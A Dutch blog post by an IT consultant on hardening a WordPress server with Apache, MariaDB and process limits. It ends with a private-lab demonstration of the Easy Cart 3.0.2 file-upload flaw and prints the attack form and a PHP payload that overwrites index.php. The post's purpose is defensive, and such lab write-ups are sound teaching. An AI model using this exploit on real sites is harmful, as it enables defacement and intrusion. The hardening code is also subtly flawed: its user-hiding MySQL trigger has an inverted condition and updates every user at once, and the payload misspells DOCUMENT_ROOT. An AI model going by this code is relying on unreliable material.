Momenteel ben ik in het Experience Lab met een aantal collega’s onder andere bezig met het opzetten van “Re-Deployable infrastructuur met een WordPress website als basis”. Dit is de voorbereiding op het RHCE examen wat ik op korte termijn wil behalen.
Met de eerste sprint was ik al vrij snel klaar. Er werd veel over ‘hardening’ van WordPress gesproken. Hier ben ik ingedoken om te achterhalen wat het nou precies inhoudt, en ben er op de harde manier achtergekomen. Hieronder mijn inzichten en leringen van dingen die je juist niet moet doen.

Mijn eerste setup was een stand-alone machine met MariaDB, Apache en WordPress. Heel leuk en aardig, maar als je niets aan security doet, is je WordPress blog heel snel niet meer van jou. Het uploaden van PHP files had ik reeds geblokkeerd via Apache file deny rechten.
En via de backend van WordPress waren de file edits uitgezet. Toch bleek dit niet voldoende. Een collega was binnen een half uur “binnen”, en had ook nog eens 3 keer mijn server “omver getrokken” door middel van een DDoS.

Apache had de mogelijkheid om te veel processen te starten waar door de server besloot om apache en MariaDB uiteindelijk uit te zetten. Hmm… Niet echt de bedoeling dit!

Na deze eerste bevindingen ben ik verder gaan zoeken wat precies de oorzaken waren geweest. Vervolgens ben ik toch maar wat “fine-tuning” gaan doen. Met 2 cores, en 512 MB ram kan je toch een redelijk snelle website draaien wanneer je de juiste middelen inzet en toewijst.

Hardening:

De eerste hardening stappen die ik had gedaan voor mijn leermoment:

Standaard locaties:

In plaats van standaard locaties te gebruiken voor de applicatie data heb ik gekozen om dit niet te doen. /var/www/html/wordpress is bijvoorbeeld geworden: /app/html/wordpress.

En voor MariaDB van /var/lib/mysql naar /app/mysql.

Beide applicaties stonden ook nog eens op losse schijven, zodat deze elkaar en het OS niet in de weg konden zitten.

Apache:
DocumentRoot "/app/html/wordpress"
ServerName demo.example.com

RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]

Ik heb het WordPress deel zijn eigen config gegeven, zodat dit makkelijk te beheren is.
Vervolgens ook ‘Directory indexing’ uitgezet. Op deze manier is het niet mogelijk de content te zien van een map waar bijvoorbeeld data in staat wat geüpload is of er via plugin data daar is opgeslagen (in mijn geval helemaal niets).

Daarnaast heb ik ervoor gezorgd dat door middel van rewrites, bestanden in wp-includes niet meer benaderd konden worden. Alleen nog maar door WordPress zelf.

WordPress:
WordPress geeft standaard alle users vrij als je maar goed zoekt. Zonder afhankelijk te zijn van een plugin heb ik hier voor ook een leuke manier gevonden om er voor te zorgen dat er foute informatie gevonden wordt. Met behulp van een MySQL trigger zorg ik er nu voor dat de ‘nicename’ automatisch gevuld wordt.

Omdat mijn data set nu best klein is kan dit geen kwaad.
Echter weet ik niet wat de performance impact is als dit op een grote WordPress blog draait.

Deze trigger doet bij elke update op de wp_usermeta tabel de onderstaande query.

DELIMITER //
CREATE TRIGGER updateNiceName
AFTER UPDATE ON wp_usermeta
FOR EACH ROW
BEGIN
IF NEW.meta_value <=> OLD.meta_value THEN
UPDATE wp_users wpu
INNER JOIN
wp_usermeta wpm
ON wpu.id = wpm.user_id
SET wpu.user_nicename = (SELECT GROUP_CONCAT(wpm.meta_value SEPARATOR ' ') FROM wp_usermeta wpm WHERE wpm.meta_key = 'first_name' OR wpm.meta_key = 'last_name');
END IF;
END;//
DELIMITER ;

Fine-Tuning:

Apache:
ServerLimit 8
StartServers 4
MaxRequestWorkers 256

MariaDB:
innodb_buffer_pool_size = 16M

Hierboven heb ik de grootste aanpassingen vermeld. Apache kan nu niet meer dan 8 processen neerzetten, en start maar met 4. De standaard waardes zijn:

ServerLimit 150
StartServers 4
MaxRequestWorkers 256

Tijdens de DDoS die mijn server heeft ondervonden had Apache uiteindelijk 150 processen neer gezet. Op 2 cores is dit niet echt handig, en al helemaal niet als je maar 512 MB aan RAM heb. Ik heb zelf met deze aanpassingen ook een DDoS uit gevoerd, en de server hield het makkelijk. Van load 1000+ naar 4-8. Met nog een redelijke response tijd.

NOTE: De bovenstaande aanpassingen zijn niet voldoende! En vertrouw niet alle stappen blindelings. Bekijk wat de code doet, en begrijp het!

Om je WordPress blog veilig te maken heb je redelijk wat te doen. Veel aanpassingen, en zorgen dat ook je wachtwoorden veilig zijn. Maar waarom doen we dit nu precies? Is het wel nodig?

Ja zeker! Zie hier onder waarom:

Do not try this at home!

Waarom al deze moeite doen als het ook makkelijk kan?
Omdat niet iedereen op het internet vriendelijk is.

Ik heb zelf in een eigen virtueel lab dezelfde opstelling ongeveer nagebootst zonder enige hardening, en selinux uit.

Apache server : 2 CPU, 2GB RAM, 30GB HDD
Datavase server : 2 CPU, 2GB RAM, 30GB HDD

mac OSX + Docker : nginx container

Vervolgens heb ik een WordPress 3.7.2 blog neergezet. Deze is oud, en onveilig.
Ook heb ik easy cart 3.0.2 plugin geïnstalleerd. Hierin zit een leuke vulnerability dat je, om de WordPress beveiliging heen, bestanden kan uploaden.

Normaal gesproken blokkeert WordPress .php bestanden. Maar deze add-on heeft zijn eigen upload mechanism, die geen gebruik maakt van de WordPress beveiliging. Dus dit heb ik misbruikt.

In een docker container had ik het volgende draaien:

LETS HACK WORDPRESS

<center>
<h1>LETS HACK WORDPRESS </h1>
<form action="http://apache/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="datemd5" value="1">
<input type="file" name="Filedata">
<input value="Upload!" type="submit">
</form>
</center>

Met dit formulier heb ik het volgende script kunnen uploaden:

<?php file_put_contents($_SERVER[‘DOCUEMENT_ROOT’] . ‘/index.php’, ‘I got hacked!’); ?>

Met als resultaat dat mijn website stuk ging toen ik dit script aanriep.

Oops?

Alles wat hierboven staat moet je dus absoluut niet doen!
Op deze manier kan er namelijk meer kapot gaan dan je lief is.
Er had bijvoorbeeld een fork in kunnen zitten die een socket open zet en iemand toegang geeft op je server. Dat is absoluut niet de bedoeling.

Wat heb ik hier geleerden graag wil delen:

  • Nooit SElinux uitzetten.
  • www data niet van de owner van je webservice process laten zijn.
  • WordPress + plugins up-to-date houden.
  • Zorgen dat je geen php files kan uploaden. (zoals eerder beschreven stond).
  • Zoek op internet naar bekende bugs, en wat je hier tegen moet ondernemen.
  • Alle moeite die je in de beveiliging van je website stopt, is het waard!

Hacken is illigaal en mag dus niet gedaan worden zonder akkoord van de andere partij.
Bovenstaande hack is echter gedaan in een privé omgeving.


Siebren Zwerver
IT Consultant